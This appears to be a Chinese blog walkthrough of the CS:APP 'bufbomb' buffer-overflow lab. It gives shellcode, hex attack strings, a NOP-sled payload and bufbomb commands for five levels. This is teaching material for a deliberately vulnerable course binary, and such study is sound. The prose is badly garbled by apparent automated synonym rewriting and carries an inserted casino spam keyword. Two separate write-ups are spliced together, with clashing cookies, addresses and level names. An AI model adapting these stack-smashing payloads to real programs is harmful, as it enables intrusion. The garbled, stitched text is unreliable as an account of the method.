Bufbomb缓冲区溢出攻击实验详解,缓冲区溢出攻击永利集团304com:

  • 课程实行主页:
  • 前后相继下载地址:

2. 同样在bufbomb的反汇编源代码中找到getbuf()函数,观察它的栈帧结构:

永利集团304com 1

如以上实例,你能够看来getbuf()的栈帧是0x38+4个字节,而buf缓冲区的轻重是0x28(40个字节)

bufbomb有三种情势。在普通格局下,尽管上文聊起了,栈的前奏地址有随机性,但bufbomb保障栈帧是稳固的(也等于说,在每一趟运营的时候内部的主次和变量的地方都以不改变的),方便学生开展破解;在Nitroglycerin形式(在命令行参预参数-n启用)下,程序对栈帧出席了越多的动乱,使得地点比相似景色下更不平稳。那个情势在义务4中会用到。

试验声明

本实验的数码包含于贰个文件包buflab-handout.tar [1.06M]
中,可以从这里下载。下载该文件到本地目录中,然后使用“tar –xvf buflab-handout.tar”命令将其解压,至少含有下列三个公文:

  • bufbomb:实验要求攻击的对象程序bufbomb。
  • bufbomb.c:指标程序bufbomb的主源程序。
  • makecookie:该程序基于你的学号发生一个唯一的由8个16进制数字构成的4字节类别(例如0x5f405c9a),称为“cookie”。
  • hex2raw:字符串格式转变程序。

另贰个急需的公文是,用objdump工具反汇编bufbomb可实践目的程序,得到它的反汇编源程序,在末端的剖判中,你将在从那个文件中追寻非常多新闻。

(注:越来越多详细新闻表明请见职责表明书.)

那是CMU的CS:应用软件2e学科中的多少个实验,学生能够透过利用四个缓冲区溢出的bug来对五个二进制造进程序开展抨击,改换它的一举一动。本次试验能够帮忙学生深切精通栈的建制,以及缓冲区溢出攻击的风险性。

试验概述

本实验的旨在强化对IA-32函数调用准绳和栈结构的有血有肉了然。实验的严重性内容是对一个可施行程序“bufbomb”实行一文山会海缓冲区溢出攻击(buffer
overflow
attacks),也正是冥思苦想通过形成缓冲区溢出来改成该可推行程序的运作内部存款和储蓄器印象,继而试行一些原先程序中尚无的表现,举例将加以的字节类别插入到其本不应出现的内存地点等。本次实验须要您熟稔使用gdbobjdumpgcc等工具完结。

实验中您需求对指标可举行程序BUFBOMB分别产生5个难度递增的缓冲区溢出攻击。5个难度级分别命名称为Smoke(level
0)、Fizz(level 1)、Bang(level 2)、Boom(level
3)和Nitro(level 4),其中Smoke级最轻巧易行而Nitro级最难堪。

实验语言:c;实验景况:linux。

为此,每一个程序运转时所用到的设想地址空间没什么分裂的,那使得针对栈的抨击变得很轻易。因而,Linux对栈、内部存款和储蓄器映射段(memory
mapping
segment)和堆都做了随机化管理,在它们的起来部分增添随机的偏移量;但鉴于叁14人下的内部存款和储蓄器总的数量也十分少,效果并不是很好。

  • 职责表达书:[pdf]
    buflab
    |
    http://csapp.cs.cmu.edu/public/labs.html
  • 数码包下载:buflab-handout.tar
  • Github源码:zhwhong/Bufbomb_CSAPP
  • 一道揭橥于博客:Bufbomb缓冲区溢出攻击实验详解-CS应用软件

下载了实验所用程序并解压后,里面有4个公文:

尝试步骤及操作表达

本实验要求你构造一些攻击字符串,对目的可实行程序BUFBOMB分别产生不相同的缓冲区溢出攻击。实验分5个难度级分别命名叫Smoke(level
0)、Fizz(level 1)、Bang(level 2)、Boom(level 3)和Nitro(level
4)。

Overview

本次lab利用getbuf()方程不反省读取string长度的狐狸尾巴破坏该方程的return
address进而达到对主程序变成损坏的指标。从getbuf() 的assembly
code我们得以见见:

永利集团304com 2

位居<0x80490a3>
地址处代码为预读的string在stack创设了0x28(也正是40)个Byte
的上空。具体地方能够通过gdb在下一行设置breakpoint 查找 %eax
的值得到,如下所示:

永利集团304com 3

经过gdb调节和测验得到,getbuf()申请的40字节缓冲区首地址为<0x55683438>,那个地址后边会用到。

平常来讲在P进程调用Q进度时,程序的stack frame结构如下图所示:

永利集团304com 4

为了掩瞒被存在Return Address上的值(4 Bytes for m32
machine),大家必要读入当先系统默许40 Bytes大小的string。由于Saved ebp
攻陷了4 Bytes 所以当我们的input string 为48 Bytes时,最终4位Bytes
刚好覆盖大家的对象Return address.

**Notes:
**由于我们在输入文件下写入的都以character(字符)因而大家要求动用hex2raw那一个小程序救助我们将大家写入的character转变到所对应的二进制数列。

level0:Smoke

Smoke任务的目的是结构一个抨击字符串作为bufbomb的输入,在getbuf()中变成缓冲区溢出,使得getbuf()重临时不是回去到test函数,而是转到smoke函数处实施。为此,你需求:

buflab.pdf是试验表明书,在那之中详细表达了试验内容:bufbomb是二个可实施文件,在分裂格局下得以接过一个或四个字符串的输入。程序并不判定每一个字符串的尺寸,因而能够透过结构三个较长的字符串,使它超过缓冲区的尺寸,覆盖栈中原有的数量和再次回到地址,使程序实现你想要的动作。共有5个等第的天职供给。因为它是多少个作业程序,所以学生在运维的时候须要用-u来钦定本身的id作为参数(当然,如若您实际不是要拿那一个来交作业,就足以随便写二个字符串,只要保证一致性就行),程序的破解方法随差异的id而略有分歧。


以4G内存为例,Linux的运作时内部存款和储蓄器布局是如此的:

(1)方法一

协会攻击命令bomb.s如下:

永利集团304com 5

这里经过movl指令将cookie值传给%eax以回到给test(),然后使得程序跳转到test()中call
getbuf下一条指令常常重返,可是并不在这里管理ebp存放器难题,而是通过在攻击字符串里面设置ebp贮存器使得其还原为旧ebp。而在情势二中是通过在自定义攻击代码中还原旧的ebp贮存器,二种办法都得以。

对其进展编译,然后反汇编获得机器码:

永利集团304com 6

组织攻击字符串bomb_U201315075.txt如下:

b8 26 05 8f 
2d 68 d6 8c 
04 08 c3 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
90 34 68 55 
38 34 68 55

谈起底施行测验结果如下:

永利集团304com 7

任务2:Firecracker

这一次的职务难度增大了,须求使程序跳转到你写的一段反汇编代码,将全局变量global_value安装为cookie的值,随后再跳转到bang函数实行表达。

永利集团304com 8bang函数

对此这一任务,程序教导书上付出了如下几点提出:

  • 能够用GDB获取营造攻击字符串所需的新闻。在getbuf函数里设置一个断点,运维至断点处,然后设法搜索所需的音讯,例如global_value的地点和buffer的地方。(但实在global_value的地方能够在符号表里找到,作者的是0x0804e140;唯有buffer的地点须要在运行时猎取。)
  • 手工业把汇编指令翻译成二进制机器码既累又轻易出错。你可以用工具来变成那项任务:把需求翻译的通令写在一个文书文件里,用gcc -m32 -c命令汇编那几个文件,再用objdump -d命令反汇编那个文件,那样您就足以在指令行里获得传令的机器码了。
  • 难忘,你的口诛笔伐字符串与机械和工具、编写翻译器和id皆有关,所以不用专断改变。
  • 在写汇编代码的时候注意寻址形式。movl $0x4, %eax会在eax中装载值0x00000004,而movl 0x4, %eax会在eax中装载位于内部存款和储蓄器0x00000004处的值。
  • 不用试图用jmpcall一声令下跳转到bang函数。这个指令的寻址格局与PC相关,很难设置科学。更加好的做法是把地址推到栈上,然后运维ret指令。

让大家先回到getbuf函数。

永利集团304com 9getbuf函数的汇编代码

为了寻觅buffer的首地址,要求选择GDB在0x08048cca处加断点(汇编代码的调节和测验方法见这里),然后查看eax的值,得到地方为0x55682ed8

为了将global_value安装成cookie,编写汇编代码如下:

mov $0x1a38cb1d 0x0804e140 # 把cookie移到global_value里push 0x08048be9 # 把bang的地址入栈作为返回值ret # 返回到bang函数

将这段代码汇编再反汇编,获得机器码如下:

c7 05 40 e1 04 08 1d cb 38 1a 68 e9 8b 04 08 c3

为了实施这段代码,大家供给使getbuf再次回到到代码开头的地址,不要紧就把这段代码放在缓冲区的始发部分,这样只要求跳转到0x55682ed8就能够。然后补全到四十几个字节,覆盖掉保存的ebp,再加上buffer的首地址就能够了。下图是写入字符串之后的栈帧暗中表示图。

地址 说明 指针
ebp-4 return address(buffer的首地址)
ebp old ebp ebp
ebp-25 汇编代码结束
ebp-40 汇编代码开始 eax
ebp-52 esp
eax(作为Gets的参数) esp

构造exploit-2.txt如下:

c7 05 40 e1 04 08 1d cb 38 1a 68 e9 8b 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 2e 68 55

推行命令

cat exploit-2.txt | ./hex2raw | ./bufbomb -u 2015011280

先后输出

Userid: 2015011280Cookie: 0x1a38cb1dType string:Bang!: You set global_value to 0x1a38cb1dVALIDNICE JOB!

成功。

3. 结构攻击字符串覆盖重临地址

攻击字符串的职能是用来蒙蔽getbuf函数内的数组buf(缓冲区),进而溢出并覆盖ebp和ebp上边的归来地址,所以攻击字符串的轻重缓急应该是0x28+4+4=48个字节。而且其最终4个字节应是smoke函数的地方,正好覆盖ebp上方的符合规律化重回地址。那样再从getbuf再次回到时,抽取的基于攻击字符串设置的地点,就可落成调整转移。

由此,这样的攻击字符串为:

00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
50 8b 04 08

总共四十三个字节,何况前边四十五个字节可感觉任意值,对前后相继的实行未有另外影响,只要尾数字节无误地安装为smoke的起首地址<0x08048b50>就可以,对应内部存款和储蓄器写入50 8b 04 08(小端格式)。

能够将上述攻击字符串写在抨击字符串文件中,命名叫smoke_U201315075.txt,之后经过hex2raw处理过滤掉全部的评释,还原成未有别的冗余数据的抨击字符串原始数据而代入bufbomb中选择。通过Linux终端施行:

cat smoke_U201315075.txt |./hex2raw |./bufbomb -u U201315075

来得结果如下:

永利集团304com 10

至此,level0任务smoke通过!

level1:fizz

level1 和 level0 千篇一律,独一的分别是此番供给跳入函数 fizz(int)
且该函数有贰个参数(供给用所给cookie作argument)。

咱俩理解在施行完ret指令后栈顶指针 %esp 会自动伸张4以还原栈帧。

透过搜寻fizz()得知:

永利集团304com 11

  • fizz()函数的苗头地址为<0x08048b7a>
  • 由Overview里面包车型客车栈帧图示可见,ebp存放了调用者的旧ebp(saved
    %ebp),其上壹地方ebp+4存放了调用者的归来地址,所以参数的地方应为ebp+8的地点,我们只必要将团结的cookie放置在该职分就可以。

就此组织攻击文件fizz_U201315075.txt如下:

00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
7a 8b 04 08 
00 00 00 00 
26 05 8f 2d

其中,<0x08058b7a>为fizz函数发轫地址,0x2d8f0526为和谐的cookie,通过参数字传送递给fizz。

最后实践测量试验结果如下:

永利集团304com 12

至此,level1任务fizz通过!

level2:bang

level2的难度开始加多,除了供给跳转至指标函数bang()
地址为<0x08048bc5>

永利集团304com 13

作者们还亟需实施一些自行设计的通令,因为该职责我们必要将global_value
的值改成我们的cookie,通过objdump -D bufbomb | less
(注意D要大写咱俩才干来看header的代码, -d不交易会示):

永利集团304com 14

经过objdump -D 反汇编能够看见:

  • global_value的地方是<0x0804d100>, 近期该岗位的开始值为 0
  • cookie的地点是<0x0804d108>, 这段时间该岗位的值开始为
    0,程序运维后会变为cookie的值。

大家须要做的正是,在程序运营时将global_value的值设置为cookie的值。

结构自定义攻击指令bang.s:

永利集团304com 15

由于是Assembly code 不必要思索 little endian的主题素材。先将global_value
用mov指令变cookie (0x0804d100 前不加$
表示地址),然后将bang()函数地址<0x08048bc5>写给esp,再施行ret指令时,程序自动跳入bang()函数。

指令 gcc -m32 -c bang.s 将assembly code写成machine code
–>bang.o,再用objdump -d bang.o 读取machine code如下:

永利集团304com 16

将下令代码抄入攻击文件,除了那么些之外大家还亟需找到input
string存放的地方作为第贰次ret 指令的目的地点,具体操作方法见Overview,
经过gdb调节和测量检验解析getbuf()申请的40字节缓冲区首地址为<0x55683438>

据此组织攻击字符串bang_U201315075.txt如下:

c7 05 00 d1 
04 08 26 05 
8f 2d 68 c5 
8b 04 08 c3 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
38 34 68 55

聊到底实施测量检验结果如下:

永利集团304com 17

至此,level2任务bang通过!

level3:bomb

分化于以前跳入其余函数,在本职务中大家盼望getbuf()
甘休后归来test()原来的岗位(即call
getbuf后的下一行),并将您的cookie作为getbuf()的再次来到值传给test()。为了使攻击尤其具备吸引性大家还可望saved
ebp被还原,那样一来原程序就完全不会因为表面攻击而失误崩溃,也正是退出攻击后要力保栈空间还原,使test()察觉不到我们干了如何,就像我们什么都没做一样。

咱俩注意到getbuf() 在<0x08048cd1>被实施因而精确的跳转地址为
<0x08048cd6>

永利集团304com 18

其他,要还原栈帧,大家亟须明白在调用getbuf()此前的原始ebp的值,这里运用gdb调节和测量检验来获得,能够在<0x08048cd1>(计划步入getbuf函数)设置断点,然后查看步入getbuf此前的%ebp贮存器值,这里大家赢得的旧的ebp的值为<0x55683490>,如下:

永利集团304com 19

知情了旧的ebp贮存器和科学的回到地址,接下去就是经过本人社团攻击代码实践攻击。

上面有几种艺术,在test()调用getbuf()函数后能够健康重回到test()中调用call
getbuf的下一条指令<0x08048cd6>处,并且保障栈帧可以东山再起,相当于合情合理复苏旧的%ebp,程序继续健康运营。

永利集团304com 20Linux的内部存款和储蓄器布局

1. 在bufbomb的反汇编源代码中找到smoke函数,记下它的开首地址:

永利集团304com 21

如以上实例中,smoke的起来地址是<0x08048b50>

一对亟需注意的事

实施给出的可实施文件都以在三12个人下编写翻译的,在六16位的机器上比一点都不大概直接施行。能够施行sudo apt-get install libc6:i386 libgcc1:i386 gcc-4.6-base:i386 libstdc++5:i386 libstdc++6:i386来安装叁11个人的运转条件。即便Ubuntu的本子相比高,可以把4.6改成4.7。。

借使依然无法运转,请思索一下是或不是把公文在Windows下解压了才拷贝到Linux下的。好像那样并无法运维,须求把压缩文件在Linux下解压。

而外分歧的id导致的不一样以外,bufbomb的运作和反编写翻译结果还有大概会随编写翻译器和周转平台等的例外而有所分歧,所以那篇小说中提交的有血有肉结果大概并不能够一心复制。

(一些揶揄:那是自己的汇编课的课业。不亮堂是因为怎么着思考,老师讲了一通X86的汇编语法之后就留了这一个作业,把虚构内部存储器技艺全丢到MIPS那些部分去讲了,以致于本身一心不精通,为何把二进制造进度序反汇编之后能得到程序存款和储蓄的具体地址。那么些试验的表明最开始也没讲精晓,它使用了使栈帧稳固的本事,所以开端的4个职分能够当每一回运转都一模二样去破解。)

(2)方法二

攻击命令bomb2.s如下:

永利集团304com 22

此间通过movl指令将cookie值传给%eax以回到给test(),然后继续透过movl指令还原ebp存放器,最终通过push准确再次来到地址使得程序跳转到test()中call
getbuf下一条指令寻常再次回到。差距于方法一的是此处透过自定义攻击代码还原ebp,并不是透过攻击字符串中的缓冲区溢出举行覆盖的,二种形式都得以。

对其张开编写翻译,然后反汇编获得机器码:

永利集团304com 23

布局攻击字符串bomb2_U201315075.txt如下:

b8 26 05 8f 
2d bd 90 34 
68 55 68 d6 
8c 04 08 c3 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
38 34 68 55

最终推行测量试验结果如下:

永利集团304com 24

至此,level3任务bomb通过!

level4:nitro

本级要使用./bufbomb的-n参数,bufbomb不会再像从前什么调用test(),而是调用testn(),testn()又调getbufn()。本级的天职是使getn重返cookie给testn()。听起来就如与上一流没什么两样,但实际该级的栈地址是动态的,每一回都不等同,bufbomb会延续要大家输入5次字符串,每一次都调用getbufn(),每一遍的栈地址都不平等,所以我们将不可能再利用原本用gdb调节和测量检验的法子来求%ebp的地点了。

减轻思路就是:

  1. 用assembly instruction —— nop (machine code:90)填充大家的Input
    string。
    那样一来在自投罗网范围内无论在哪里步向我们的攻击程序实行指令最后都会滑到大家的抨击方程;
  2. 固然如此ebp的值每回退换,无法直接赋值,不过在getbufn()程序中
    ebp和esp值差是自然的经过gdp查找我们能够查到如此的关系,举个例子笔者那边是相差0x28;
  3. 因而空input运营主程序意识七遍input string的存放地点在0x556831d8
    到0x556832c第88中学间,因而假如我们将首先次ret address
    定为最高的0x556832c8这正是说就足以保障柒次运营实施命令都不会在运作攻击程序在此以前遇到除nop(90)之外的别样指令。

bufbomb在5次调用testn()和getbufn()的进度中,五个函数的栈是一而再的,在testn()汇编代码初叶有

永利集团304com 25

可知%esp=%ebp-4-0x24,即 %ebp = %esp + 0x28
里面,getbufn推行ret前的leave指令已经不易地回复%esp(leave等价于 mov
%ebp,%esp; pop
%ebp,大家的字符串无法覆盖%ebp,%esp贮存器,%esp是从寄存器%ebp里来的,由此是不错的)。

此地构造攻击命令nitro.s如下:

永利集团304com 26

对其开展编写翻译,然后反汇编获得机器码:

永利集团304com 27

然则我们还不晓得再次来到地址应该用什么来填充。字符串首地点是调换的,尽管可以透过%esp直接求出,但在前后相继跳转到大家的代码以前,大家鞭长莫及获悉%esp的值毕竟是稍微(原本能够用gdb调节和测验出来,但近年来极度了)。幸好getbufn给的栈空间非常大,我们可以选用nop
slide手艺,先让程序重返到多个大家大致猜度的地址,在这一个地点及其附近的一大片区域里我们用nop指令(机器码为0x90)填充,CPU实施nop指令时除了程序计数器PC自加,其余什么也不做。把大家的代码放在那片区域的上位地址处,程序一路施行nop,就好像滑行同样,一路滑到大家的代码才真正开头实施。我们得以行使gdb调节和测量检验找到这几个字符串开头的轮廓区域。

查阅getbufn()汇编代码,有:

永利集团304com 28

得悉写入字符串的首地址为-0x208(%ebp),而回到地址位于0x4(%ebp),由此大家需填充0x4

  • (-0x208) = 0x20c =
    5二十三个字节的字符,再写4个字节覆盖getbufn()的归来地址。

使用gdb调节和测量试验开采5次getbufn循环里面,缓冲区首地址情形如下:

➜ ~/buflab-handout git:(master) ✗ ➤ gdb bufbomb
……
Reading symbols from bufbomb...(no debugging symbols found)...done.

(gdb) b *0x080490be
Breakpoint 1 at 0x80490be

(gdb) r -n -u U201315075
Starting program: /home/zhwhong/buflab-handout/bufbomb -n -u U201315075
Userid: U201315075
Cookie: 0x2d8f0526
Breakpoint 1, 0x080490be in getbufn ()

(gdb) p /x $ebp-0x208
$1 = 0x55683258
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()

(gdb) p /x $ebp-0x208
$2 = 0x556832c8
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()

(gdb) p /x $ebp-0x208
$3 = 0x556831e8
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()

(gdb) p /x $ebp-0x208
$4 = 0x556831d8
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()

(gdb) p /x $ebp-0x208
$5 = 0x55683258
(gdb) c
[Inferior 1 (process 9333) exited normally]

由gdb调节和测量检验结果可见陆回input string的储存地方在0x556831d8
到0x556832c8以内,由此假如大家将首先次ret address
定为最高的0x556832c8,那么就能够保险八回运营推行命令都不会在运营攻击程序从前蒙受除nop(90)之外的别的指令。(其实重返地址只要非常的大于0x556832c8就可以,这里就取0x556832c8
(c8 32 68 55)吧。)

布局攻击字符串nitro_U201315075.txt如下:

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 b8
26 05 8f 2d 8d 6c 24 28 68 42
8d 04 08 c3 c8 32 68 55

最终施行测试结果如下:

永利集团304com 29

注:必要在意的是因为在Nitro情势下主程序须求读四次input以满足实践五遍的急需,由此在实践./hex2raw程序时请留神增加-n flag以确认保证input string
被复制六次每回以永利集团304com,n结尾以了却每回的gets()函数调用。

至此,level4任务nitro通过!

  • 文中出现的富有代码请查看Github旅馆:zhwhong/Bufbomb_CSAPP

(注:感激您的读书,希望本文对您具有利于。即便认为不错应接分享转发,但请先点击
这里
获取授权。本文由
版权印
提供保险,防止另外情势的未授权违法转发,谢谢!)

makecookie接收三个字符串作为输入,输出它依据早晚的算法总计出的cookie,那些cookie在bufbomb的破解进程中会用到。

发表评论

电子邮件地址不会被公开。 必填项已用*标注